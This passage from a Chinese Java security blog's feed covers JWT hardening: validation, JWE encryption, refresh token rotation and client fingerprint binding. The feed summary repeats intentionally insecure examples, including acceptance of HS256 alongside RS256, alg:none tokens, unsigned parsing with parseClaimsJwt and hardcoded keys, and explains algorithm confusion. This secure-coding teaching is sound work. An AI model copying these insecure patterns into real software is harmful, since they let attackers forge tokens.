            <span class="k">throw</span> <span class="k">new</span> <span class="nf">SecurityException</span><span class="o">(</span><span class="s">"Token revoked"</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="k">return</span> <span class="nc">Jwts</span><span class="o">.</span><span class="na">parserBuilder</span><span class="o">()</span>
            <span class="o">.</span><span class="na">setSigningKey</span><span class="o">(</span><span class="n">secretKey</span><span class="o">)</span>
            <span class="o">.</span><span class="na">requireIssuer</span><span class="o">(</span><span class="s">"auth.example.com"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">requireAudience</span><span class="o">(</span><span class="s">"api.example.com"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">setAllowedClockSkewSeconds</span><span class="o">(</span><span class="mi">30</span><span class="o">)</span>
            <span class="o">.</span><span class="na">build</span><span class="o">()</span>
            <span class="o">.</span><span class="na">parseClaimsJws</span><span class="o">(</span><span class="n">token</span><span class="o">)</span>  <span class="c1">// ← parseClaimsJws!</span>
            <span class="o">.</span><span class="na">getBody</span><span class="o">();</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="46-jwe-加密-token补充">4.6 JWE 加密 Token（补充）</h2>

<p>JWT 的 payload 是 Base64 编码，<strong>不是加密</strong>。任何人都能看到其中内容：</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">//</span><span class="w"> </span><span class="err">这个</span><span class="w"> </span><span class="err">payload</span><span class="w"> </span><span class="err">任何人拿到</span><span class="w"> </span><span class="err">Token</span><span class="w"> </span><span class="err">即可解码阅读</span><span class="w">
</span><span class="p">{</span><span class="nl">"userId"</span><span class="p">:</span><span class="w"> </span><span class="mi">123</span><span class="p">,</span><span class="w"> </span><span class="nl">"role"</span><span class="p">:</span><span class="w"> </span><span class="s2">"admin"</span><span class="p">,</span><span class="w"> </span><span class="nl">"internalDeptId"</span><span class="p">:</span><span class="w"> </span><span class="mi">42</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>JWE（JSON Web Encryption）</strong> 提供真正的加密：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ✅ JWE 加密 Token — 内容不可见</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="nf">generateEncryptedToken</span><span class="o">(</span><span class="nc">User</span> <span class="n">user</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="c1">// 1. 构建 JWT Claims</span>
    <span class="nc">JWTClaimsSet</span> <span class="n">claims</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">JWTClaimsSet</span><span class="o">.</span><span class="na">Builder</span><span class="o">()</span>
        <span class="o">.</span><span class="na">subject</span><span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getId</span><span class="o">().</span><span class="na">toString</span><span class="o">())</span>
        <span class="o">.</span><span class="na">claim</span><span class="o">(</span><span class="s">"role"</span><span class="o">,</span> <span class="n">user</span><span class="o">.</span><span class="na">getRole</span><span class="o">())</span>
        <span class="o">.</span><span class="na">issueTime</span><span class="o">(</span><span class="k">new</span> <span class="nc">Date</span><span class="o">())</span>
        <span class="o">.</span><span class="na">expirationTime</span><span class="o">(</span><span class="k">new</span> <span class="nc">Date</span><span class="o">(</span><span class="nc">System</span><span class="o">.</span><span class="na">currentTimeMillis</span><span class="o">()</span> <span class="o">+</span> <span class="mi">900_000</span><span class="o">))</span>
        <span class="o">.</span><span class="na">build</span><span class="o">();</span>

    <span class="c1">// 2. 创建 JWE 头部</span>
    <span class="nc">JWEHeader</span> <span class="n">header</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">JWEHeader</span><span class="o">(</span>
        <span class="nc">JWEAlgorithm</span><span class="o">.</span><span class="na">RSA_OAEP_256</span><span class="o">,</span>   <span class="c1">// 密钥加密算法</span>
        <span class="nc">EncryptionMethod</span><span class="o">.</span><span class="na">A256GCM</span>     <span class="c1">// 内容加密算法</span>
    <span class="o">);</span>

    <span class="c1">// 3. 加密</span>
    <span class="nc">EncryptedJWT</span> <span class="n">jwt</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">EncryptedJWT</span><span class="o">(</span><span class="n">header</span><span class="o">,</span> <span class="n">claims</span><span class="o">);</span>
    <span class="nc">RSAEncrypter</span> <span class="n">encrypter</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">RSAEncrypter</span><span class="o">(</span><span class="n">publicKey</span><span class="o">);</span>
    <span class="n">jwt</span><span class="o">.</span><span class="na">encrypt</span><span class="o">(</span><span class="n">encrypter</span><span class="o">);</span>

    <span class="k">return</span> <span class="n">jwt</span><span class="o">.</span><span class="na">serialize</span><span class="o">();</span>
<span class="o">}</span>

<span class="c1">// 解密</span>
<span class="kd">public</span> <span class="nc">Claims</span> <span class="nf">decryptAndValidate</span><span class="o">(</span><span class="nc">String</span> <span class="n">encryptedToken</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="nc">EncryptedJWT</span> <span class="n">jwt</span> <span class="o">=</span> <span class="nc">EncryptedJWT</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">encryptedToken</span><span class="o">);</span>
    <span class="nc">RSADecrypter</span> <span class="n">decrypter</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">RSADecrypter</span><span class="o">(</span><span class="n">privateKey</span><span class="o">);</span>
    <span class="n">jwt</span><span class="o">.</span><span class="na">decrypt</span><span class="o">(</span><span class="n">decrypter</span><span class="o">);</span>
    
    <span class="c1">// 然后再做常规 JWT 校验</span>
    <span class="k">return</span> <span class="n">jwt</span><span class="o">.</span><span class="na">getJWTClaimsSet</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>何时使用 JWE</strong>：</p>
<ul>
  <li>Token 中必须携带敏感信息（身份证号、手机号等）</li>
  <li>合规要求（GDPR、等保）</li>
  <li>Token 可能暴露在浏览器 localStorage 中</li>
</ul>

<p><strong>不推荐 JWE 的场景</strong>：</p>
<ul>
  <li>高性能要求（加密解密有开销）</li>
  <li>网关层需要读取 Token 内容做路由判断</li>
  <li>Token 仅用于服务端会话关联（用参考 Token 更合适）</li>
</ul>

<hr />

<h2 id="47-refresh-token-轮换策略补充">4.7 Refresh Token 轮换策略（补充）</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Service</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">TokenRotationService</span> <span class="o">{</span>

    <span class="nd">@Autowired</span>
    <span class="kd">private</span> <span class="nc">RedisTemplate</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">redis</span><span class="o">;</span>

    <span class="c1">// Access Token: 15 分钟</span>
    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">Duration</span> <span class="no">ACCESS_EXPIRY</span> <span class="o">=</span> <span class="nc">Duration</span><span class="o">.</span><span class="na">ofMinutes</span><span class="o">(</span><span class="mi">15</span><span class="o">);</span>
    <span class="c1">// Refresh Token: 7 天</span>
    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">Duration</span> <span class="no">REFRESH_EXPIRY</span> <span class="o">=</span> <span class="nc">Duration</span><span class="o">.</span><span class="na">ofDays</span><span class="o">(</span><span class="mi">7</span><span class="o">);</span>
    <span class="c1">// Refresh Token 家族前缀，用于检测重用</span>
    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span> <span class="no">TOKEN_FAMILY</span> <span class="o">=</span> <span class="s">"token:family:"</span><span class="o">;</span>

    <span class="kd">public</span> <span class="nc">TokenPair</span> <span class="nf">issueTokens</span><span class="o">(</span><span class="nc">String</span> <span class="n">userId</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">familyId</span> <span class="o">=</span> <span class="no">UUID</span><span class="o">.</span><span class="na">randomUUID</span><span class="o">().</span><span class="na">toString</span><span class="o">();</span>
        <span class="nc">String</span> <span class="n">refreshId</span> <span class="o">=</span> <span class="no">UUID</span><span class="o">.</span><span class="na">randomUUID</span><span class="o">().</span><span class="na">toString</span><span class="o">();</span>

        <span class="c1">// 存储 refresh token 家族</span>
        <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">set</span><span class="o">(</span><span class="no">TOKEN_FAMILY</span> <span class="o">+</span> <span class="n">familyId</span><span class="o">,</span> <span class="n">refreshId</span><span class="o">,</span> <span class="no">REFRESH_EXPIRY</span><span class="o">);</span>

        <span class="nc">String</span> <span class="n">accessToken</span> <span class="o">=</span> <span class="n">generateAccessToken</span><span class="o">(</span><span class="n">userId</span><span class="o">,</span> <span class="n">familyId</span><span class="o">);</span>
        <span class="nc">String</span> <span class="n">refreshToken</span> <span class="o">=</span> <span class="n">generateRefreshToken</span><span class="o">(</span><span class="n">userId</span><span class="o">,</span> <span class="n">familyId</span><span class="o">,</span> <span class="n">refreshId</span><span class="o">);</span>

        <span class="k">return</span> <span class="k">new</span> <span class="nf">TokenPair</span><span class="o">(</span><span class="n">accessToken</span><span class="o">,</span> <span class="n">refreshToken</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="nc">TokenPair</span> <span class="nf">rotateTokens</span><span class="o">(</span><span class="nc">String</span> <span class="n">oldRefreshToken</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">Claims</span> <span class="n">claims</span> <span class="o">=</span> <span class="n">validateRefreshToken</span><span class="o">(</span><span class="n">oldRefreshToken</span><span class="o">);</span>
        <span class="nc">String</span> <span class="n">familyId</span> <span class="o">=</span> <span class="n">claims</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"familyId"</span><span class="o">,</span> <span class="nc">String</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
        <span class="nc">String</span> <span class="n">oldRefreshId</span> <span class="o">=</span> <span class="n">claims</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"refreshId"</span><span class="o">,</span> <span class="nc">String</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>

        <span class="c1">// 检查 refresh token 是否已被使用（检测重用 → 说明被盗）</span>
        <span class="nc">String</span> <span class="n">storedRefreshId</span> <span class="o">=</span> <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="no">TOKEN_FAMILY</span> <span class="o">+</span> <span class="n">familyId</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">storedRefreshId</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="o">!</span><span class="n">storedRefreshId</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">oldRefreshId</span><span class="o">))</span> <span class="o">{</span>
            <span class="c1">// Refresh Token 重用！可能是被盗。</span>
            <span class="c1">// 立即吊销整个家族</span>
            <span class="n">redis</span><span class="o">.</span><span class="na">delete</span><span class="o">(</span><span class="no">TOKEN_FAMILY</span> <span class="o">+</span> <span class="n">familyId</span><span class="o">);</span>
            <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">set</span><span class="o">(</span><span class="s">"token:family:revoked:"</span> <span class="o">+</span> <span class="n">familyId</span><span class="o">,</span> <span class="s">"1"</span><span class="o">,</span> <span class="nc">Duration</span><span class="o">.</span><span class="na">ofDays</span><span class="o">(</span><span class="mi">7</span><span class="o">));</span>
            
            <span class="c1">// 强制用户重新登录，并发出告警</span>
            <span class="n">log</span><span class="o">.</span><span class="na">warn</span><span class="o">(</span><span class="s">"Refresh Token 重用检测：familyId={}"</span><span class="o">,</span> <span class="n">familyId</span><span class="o">);</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">SecurityException</span><span class="o">(</span><span class="s">"Token 已被使用，请重新登录"</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="c1">// 正常轮换：换发新的 refresh token</span>
        <span class="nc">String</span> <span class="n">newRefreshId</span> <span class="o">=</span> <span class="no">UUID</span><span class="o">.</span><span class="na">randomUUID</span><span class="o">().</span><span class="na">toString</span><span class="o">();</span>
        <span class="n">redis</span><span class="o">.</span><span class="na">opsForValue</span><span class="o">().</span><span class="na">set</span><span class="o">(</span><span class="no">TOKEN_FAMILY</span> <span class="o">+</span> <span class="n">familyId</span><span class="o">,</span> <span class="n">newRefreshId</span><span class="o">,</span> <span class="no">REFRESH_EXPIRY</span><span class="o">);</span>

        <span class="nc">String</span> <span class="n">newAccessToken</span> <span class="o">=</span> <span class="n">generateAccessToken</span><span class="o">(</span><span class="n">claims</span><span class="o">.</span><span class="na">getSubject</span><span class="o">(),</span> <span class="n">familyId</span><span class="o">);</span>
        <span class="nc">String</span> <span class="n">newRefreshToken</span> <span class="o">=</span> <span class="n">generateRefreshToken</span><span class="o">(</span><span class="n">claims</span><span class="o">.</span><span class="na">getSubject</span><span class="o">(),</span> <span class="n">familyId</span><span class="o">,</span> <span class="n">newRefreshId</span><span class="o">);</span>

        <span class="k">return</span> <span class="k">new</span> <span class="nf">TokenPair</span><span class="o">(</span><span class="n">newAccessToken</span><span class="o">,</span> <span class="n">newRefreshToken</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">revokeFamily</span><span class="o">(</span><span class="nc">String</span> <span class="n">familyId</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">redis</span><span class="o">.</span><span class="na">delete</span><span class="o">(</span><span class="no">TOKEN_FAMILY</span> <span class="o">+</span> <span class="n">familyId</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>Refresh Token 轮换 vs 短期 Token</strong>：</p>

<table>
  <thead>
    <tr>
      <th>方案</th>
      <th style="text-align: center">安全性</th>
      <th style="text-align: center">用户体验</th>
      <th style="text-align: center">复杂度</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>单 Token 长期有效</td>
      <td style="text-align: center">❌</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">低</td>
    </tr>
    <tr>
      <td>Access Token 短期 + 无 Refresh</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">❌ 频繁登出</td>
      <td style="text-align: center">低</td>
    </tr>
    <tr>
      <td>Access + Refresh 无轮换</td>
      <td style="text-align: center">⚠️</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">中</td>
    </tr>
    <tr>
      <td><strong>Access + Refresh 轮换 + 重用检测</strong></td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">高</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="48-token-绑定htb--holder-of-key补充">4.8 Token 绑定（HTB — Holder-of-Key）（补充）</h2>

<p>防止 Token 被盗后在其他设备使用：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 签发 Token 时绑定客户端指纹</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="nf">issueBoundToken</span><span class="o">(</span><span class="nc">User</span> <span class="n">user</span><span class="o">,</span> <span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="n">fingerprint</span> <span class="o">=</span> <span class="n">generateFingerprint</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
    
    <span class="k">return</span> <span class="nc">Jwts</span><span class="o">.</span><span class="na">builder</span><span class="o">()</span>
        <span class="o">.</span><span class="na">setSubject</span><span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getId</span><span class="o">().</span><span class="na">toString</span><span class="o">())</span>
        <span class="o">.</span><span class="na">claim</span><span class="o">(</span><span class="s">"fp_hash"</span><span class="o">,</span> <span class="n">sha256</span><span class="o">(</span><span class="n">fingerprint</span><span class="o">))</span>  <span class="c1">// 指纹哈希存入 Token</span>
        <span class="o">.</span><span class="na">setExpiration</span><span class="o">(</span><span class="k">new</span> <span class="nc">Date</span><span class="o">(</span><span class="nc">System</span><span class="o">.</span><span class="na">currentTimeMillis</span><span class="o">()</span> <span class="o">+</span> <span class="mi">900_000</span><span class="o">))</span>
        <span class="o">.</span><span class="na">signWith</span><span class="o">(</span><span class="n">privateKey</span><span class="o">,</span> <span class="nc">SignatureAlgorithm</span><span class="o">.</span><span class="na">RS256</span><span class="o">)</span>
        <span class="o">.</span><span class="na">compact</span><span class="o">();</span>
<span class="o">}</span>

<span class="c1">// 验证时比对指纹</span>
<span class="kd">public</span> <span class="nc">Claims</span> <span class="nf">validateBoundToken</span><span class="o">(</span><span class="nc">String</span> <span class="n">token</span><span class="o">,</span> <span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Claims</span> <span class="n">claims</span> <span class="o">=</span> <span class="n">validateAndParse</span><span class="o">(</span><span class="n">token</span><span class="o">);</span>
    <span class="nc">String</span> <span class="n">currentFp</span> <span class="o">=</span> <span class="n">sha256</span><span class="o">(</span><span class="n">generateFingerprint</span><span class="o">(</span><span class="n">request</span><span class="o">));</span>
    <span class="nc">String</span> <span class="n">storedFp</span> <span class="o">=</span> <span class="n">claims</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"fp_hash"</span><span class="o">,</span> <span class="nc">String</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
    
    <span class="k">if</span> <span class="o">(!</span><span class="n">currentFp</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">storedFp</span><span class="o">))</span> <span class="o">{</span>
        <span class="k">throw</span> <span class="k">new</span> <span class="nf">SecurityException</span><span class="o">(</span><span class="s">"Token 客户端指纹不匹配"</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="n">claims</span><span class="o">;</span>
<span class="o">}</span>

<span class="c1">// 生成客户端指纹（IP + UA 组合）</span>
<span class="kd">private</span> <span class="nc">String</span> <span class="nf">generateFingerprint</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="n">ip</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getHeader</span><span class="o">(</span><span class="s">"X-Forwarded-For"</span><span class="o">);</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">ip</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="n">ip</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getRemoteAddr</span><span class="o">();</span>
    <span class="nc">String</span> <span class="n">ua</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getHeader</span><span class="o">(</span><span class="s">"User-Agent"</span><span class="o">);</span>
    <span class="k">return</span> <span class="n">ip</span> <span class="o">+</span> <span class="s">"|"</span> <span class="o">+</span> <span class="n">ua</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<blockquote>
  <p><strong>注意</strong>：指纹绑定会降低用户体验（移动网络 IP 频繁变化、UA 升级）。建议仅对高安全场景（银行、支付）启用。</p>
</blockquote>

<hr />

<h2 id="总结">总结</h2>

<p>JWT 安全的核心不是选择了哪个库，而是<strong>验证逻辑是否正确</strong>：</p>

<ol>
  <li><strong>算法</strong>：永远只接受单一算法（RS256 或 ES256）</li>
  <li><strong>签名</strong>：永远用 <code class="language-plaintext highlighter-rouge">parseClaimsJws</code>（带 s），不用 <code class="language-plaintext highlighter-rouge">parseClaimsJwt</code></li>
  <li><strong>异常</strong>：不能 <code class="language-plaintext highlighter-rouge">catch(Exception e)</code> 一把梭</li>
  <li><strong>过期</strong>：Access Token ≤ 15 分钟</li>
  <li><strong>吊销</strong>：配合 Refresh Token 轮换 + 重用检测</li>
  <li><strong>加密</strong>：敏感数据用 JWE 加密，或干脆不放 payload 里</li>
</ol>

<hr />

<p><strong>系列文章</strong>：</p>
<ul>
  <li><a href="/2026/05/07/java-web-auth-overview/">概览篇</a></li>
  <li><a href="/2026/05/08/spring-security-security-practice/">Spring Security 安全配置篇</a></li>
  <li><a href="/2026/05/08/apache-shiro-security-practice/">Apache Shiro 安全配置篇</a></li>
  <li><a href="/2026/05/08/java-web-auth-bypass/">鉴权绕过模式篇</a></li>
  <li><a href="/2026/05/08/java-session-redis-auth/">会话管理与 Redis 认证篇</a></li>
</ul>]]></content><author><name>江流</name></author><category term="Java安全" /><category term="JWT" /><category term="JWT" /><category term="Token" /><category term="算法混淆" /><category term="签名验证" /><category term="认证授权" /><category term="代码审计" /><summary type="html"><![CDATA[JWT 认证安全实践与常见漏洞 JWT 是 RESTful API 最常用的无状态认证方案，但算法混淆、签名缺失、弱密钥等问题会让 Token 认证形同虚设。 本文是 Java Web 认证授权安全系列 的第四篇。 4.1 算法混淆攻击 攻击原理：服务端同时接受 RS256（非对称）和 HS256（对称）算法时，攻击者可将算法改为 HS256，然后用公开的公钥作为 HMAC 密钥签名 Token。 // ❌ 危险：同时接受多种算法 @Bean public JwtDecoder jwtDecoder() { return NimbusJwtDecoder .withJwkSetUri("https://auth.example.com/.well-known/jwks.json") .jwsAlgorithms(algs -&gt; { algs.add(JWSAlgorithm.RS256); algs.add(JWSAlgorithm.HS256); // ← 危险！ }) .build(); } // ✅ 正确：只接受单一算法 @Bean public JwtDecoder jwtDecoder() { return NimbusJwtDecoder .withJwkSetUri("https://auth.example.com/.well-known/jwks.json") .jwsAlgorithm(JWSAlgorithm.RS256) .build(); } 4.2 alg: none 攻击 某些库在配置不当时接受未签名 Token： {"alg": "none"} {"sub": "admin", "role": "ADMIN"} // 无签名部分 Java 常见错误： // ❌ parseClaimsJwt 不验证签名！ Claims claims = Jwts.parser().parseClaimsJwt(token).getBody(); // ✅ parseClaimsJws 强制验证签名 Claims claims = Jwts.parser() .setSigningKey(secretKey) .parseClaimsJws(token) // ← 带 's' .getBody(); // ❌ catch 范围过大，掩盖 UnsupportedJwtException public boolean validateToken(String token) { try { Jwts.parser().setSigningKey(SECRET_KEY).parseClaimsJws(token); return true; } catch (Exception e) { // ← 太宽泛 return false; } } 修复：分别处理 UnsupportedJwtException、SignatureException、ExpiredJwtException。 4.3 弱密钥与密钥管理 // ❌ 弱密钥 / 硬编码 String secret = "mySecretKey"; // 太短 String secret = "abc123def456ghi789jkl012mno345pq"; // 硬编码 // ✅ 正确做法 Key key = Keys.secretKeyFor(SignatureAlgorithm.HS256); // 自动生成 256 位 // 或从 Vault/KMS 安全存储读取 CVE-2024-31033：JJWT 在处理 setSigningKey() 时某些字符被忽略。建议：使用 byte[] 传参，升级最新版。 4.4 Token 生命周期与吊销 String token = Jwts.builder() .setSubject(userId) .setIssuer("https://auth.example.com") .setAudience("api.example.com") .setIssuedAt(new Date()) .setExpiration(new Date(System.currentTimeMillis() + 900_000)) // 15分钟 .signWith(privateKey, SignatureAlgorithm.RS256) .compact(); 验证： Jws&lt;Claims&gt; jws = Jwts.parserBuilder() .setSigningKey(publicKey) .requireIssuer("https://auth.example.com") .requireAudience("api.example.com") .build() .parseClaimsJws(token); 吊销策略：JWT 无状态无法撤销，需配合： 短过期 + Refresh Token 轮换 Redis 黑名单存储已吊销 Token ID 关键操作强制重新认证 4.5 JWT 安全检查清单 @Component public class JwtTokenValidator { private final SecretKey secretKey; private final RedisTemplate&lt;String, String&gt; redis; public Claims validateAndParse(String token) { String tokenId = extractTokenId(token); if (Boolean.TRUE.equals(redis.hasKey("token:revoked:" + tokenId))) { throw new SecurityException("Token revoked"); } return Jwts.parserBuilder() .setSigningKey(secretKey) .requireIssuer("auth.example.com") .requireAudience("api.example.com") .setAllowedClockSkewSeconds(30) .build() .parseClaimsJws(token) // ← parseClaimsJws! .getBody(); } } 4.6 JWE 加密 Token（补充） JWT 的 payload 是 Base64 编码，不是加密。任何人都能看到其中内容： // 这个 payload 任何人拿到 Token 即可解码阅读 {"userId": 123, "role": "admin", "internalDeptId": 42} JWE（JSON Web Encryption） 提供真正的加密： // ✅ JWE 加密 Token — 内容不可见 public String generateEncryptedToken(User user) throws Exception { // 1. 构建 JWT Claims JWTClaimsSet claims = new JWTClaimsSet.Builder() .subject(user.getId().toString()) .claim("role", user.getRole()) .issueTime(new Date()) .expirationTime(new Date(System.currentTimeMillis() + 900_000)) .build(); // 2. 创建 JWE 头部 JWEHeader header = new JWEHeader( JWEAlgorithm.RSA_OAEP_256, // 密钥加密算法 EncryptionMethod.A256GCM // 内容加密算法 ); // 3. 加密 EncryptedJWT jwt = new EncryptedJWT(header, claims); RSAEncrypter encrypter = new RSAEncrypter(publicKey); jwt.encrypt(encrypter); return jwt.serialize(); } // 解密 public Claims decryptAndValidate(String encryptedToken) throws Exception { EncryptedJWT jwt = EncryptedJWT.parse(encryptedToken); RSADecrypter decrypter = new RSADecrypter(privateKey); jwt.decrypt(decrypter); // 然后再做常规 JWT 校验 return jwt.getJWTClaimsSet(); } 何时使用 JWE： Token 中必须携带敏感信息（身份证号、手机号等） 合规要求（GDPR、等保） Token 可能暴露在浏览器 localStorage 中 不推荐 JWE 的场景： 高性能要求（加密解密有开销） 网关层需要读取 Token 内容做路由判断 Token 仅用于服务端会话关联（用参考 Token 更合适） 4.7 Refresh Token 轮换策略（补充） @Service public class TokenRotationService { @Autowired private RedisTemplate&lt;String, String&gt; redis; // Access Token: 15 分钟 private static final Duration ACCESS_EXPIRY = Duration.ofMinutes(15); // Refresh Token: 7 天 private static final Duration REFRESH_EXPIRY = Duration.ofDays(7); // Refresh Token 家族前缀，用于检测重用 private static final String TOKEN_FAMILY = "token:family:"; public TokenPair issueTokens(String userId) { String familyId = UUID.randomUUID().toString(); String refreshId = UUID.randomUUID().toString(); // 存储 refresh token 家族 redis.opsForValue().set(TOKEN_FAMILY + familyId, refreshId, REFRESH_EXPIRY); String accessToken = generateAccessToken(userId, familyId); String refreshToken = generateRefreshToken(userId, familyId, refreshId); return new TokenPair(accessToken, refreshToken); } public TokenPair rotateTokens(String oldRefreshToken) { Claims claims = validateRefreshToken(oldRefreshToken); String familyId = claims.get("familyId", String.class); String oldRefreshId = claims.get("refreshId", String.class); // 检查 refresh token 是否已被使用（检测重用 → 说明被盗） String storedRefreshId = redis.opsForValue().get(TOKEN_FAMILY + familyId); if (storedRefreshId == null || !storedRefreshId.equals(oldRefreshId)) { // Refresh Token 重用！可能是被盗。 // 立即吊销整个家族 redis.delete(TOKEN_FAMILY + familyId); redis.opsForValue().set("token:family:revoked:" + familyId, "1", Duration.ofDays(7)); // 强制用户重新登录，并发出告警 log.warn("Refresh Token 重用检测：familyId={}", familyId); throw new SecurityException("Token 已被使用，请重新登录"); } // 正常轮换：换发新的 refresh token String newRefreshId = UUID.randomUUID().toString(); redis.opsForValue().set(TOKEN_FAMILY + familyId, newRefreshId, REFRESH_EXPIRY); String newAccessToken = generateAccessToken(claims.getSubject(), familyId); String newRefreshToken = generateRefreshToken(claims.getSubject(), familyId, newRefreshId); return new TokenPair(newAccessToken, newRefreshToken); } public void revokeFamily(String familyId) { redis.delete(TOKEN_FAMILY + familyId); } } Refresh Token 轮换 vs 短期 Token： 方案 安全性 用户体验 复杂度 单 Token 长期有效 ❌ ✅ 低 Access Token 短期 + 无 Refresh ✅ ❌ 频繁登出 低 Access + Refresh 无轮换 ⚠️ ✅ 中 Access + Refresh 轮换 + 重用检测 ✅ ✅ 高 4.8 Token 绑定（HTB — Holder-of-Key）（补充） 防止 Token 被盗后在其他设备使用： // 签发 Token 时绑定客户端指纹 public String issueBoundToken(User user, HttpServletRequest request) { String fingerprint = generateFingerprint(request); return Jwts.builder() .setSubject(user.getId().toString()) .claim("fp_hash", sha256(fingerprint)) // 指纹哈希存入 Token .setExpiration(new Date(System.currentTimeMillis() + 900_000)) .signWith(privateKey, SignatureAlgorithm.RS256) .compact(); } // 验证时比对指纹 public Claims validateBoundToken(String token, HttpServletRequest request) { Claims claims = validateAndParse(token); String currentFp = sha256(generateFingerprint(request)); String storedFp = claims.get("fp_hash", String.class); if (!currentFp.equals(storedFp)) { throw new SecurityException("Token 客户端指纹不匹配"); } return claims; } // 生成客户端指纹（IP + UA 组合） private String generateFingerprint(HttpServletRequest request) { String ip = request.getHeader("X-Forwarded-For"); if (ip == null) ip = request.getRemoteAddr(); String ua = request.getHeader("User-Agent"); return ip + "|" + ua; } 注意：指纹绑定会降低用户体验（移动网络 IP 频繁变化、UA 升级）。建议仅对高安全场景（银行、支付）启用。 总结 JWT 安全的核心不是选择了哪个库，而是验证逻辑是否正确： 算法：永远只接受单一算法（RS256 或 ES256） 签名：永远用 parseClaimsJws（带 s），不用 parseClaimsJwt 异常：不能 catch(Exception e) 一把梭 过期：Access Token ≤ 15 分钟 吊销：配合 Refresh Token 轮换 + 重用检测 加密：敏感数据用 JWE 加密，或干脆不放 payload 里 系列文章： 概览篇 Spring Security 安全配置篇 Apache Shiro 安全配置篇 鉴权绕过模式篇 会话管理与 Redis 认证篇]]></summary></entry><entry><title type="html">Apache Shiro 安全配置与防护实践</title><link href="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/shiro/2026/05/08/Apache-Shiro%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E9%98%B2%E6%8A%A4%E5%AE%9E%E8%B7%B5/" rel="alternate" type="text/html" title="Apache Shiro 安全配置与防护实践" /><published>2026-05-08T04:00:00+00:00</published><updated>2026-05-08T04:00:00+00:00</updated><id>https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/shiro/2026/05/08/Apache%20Shiro%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E9%98%B2%E6%8A%A4%E5%AE%9E%E8%B7%B5</id><content type="html" 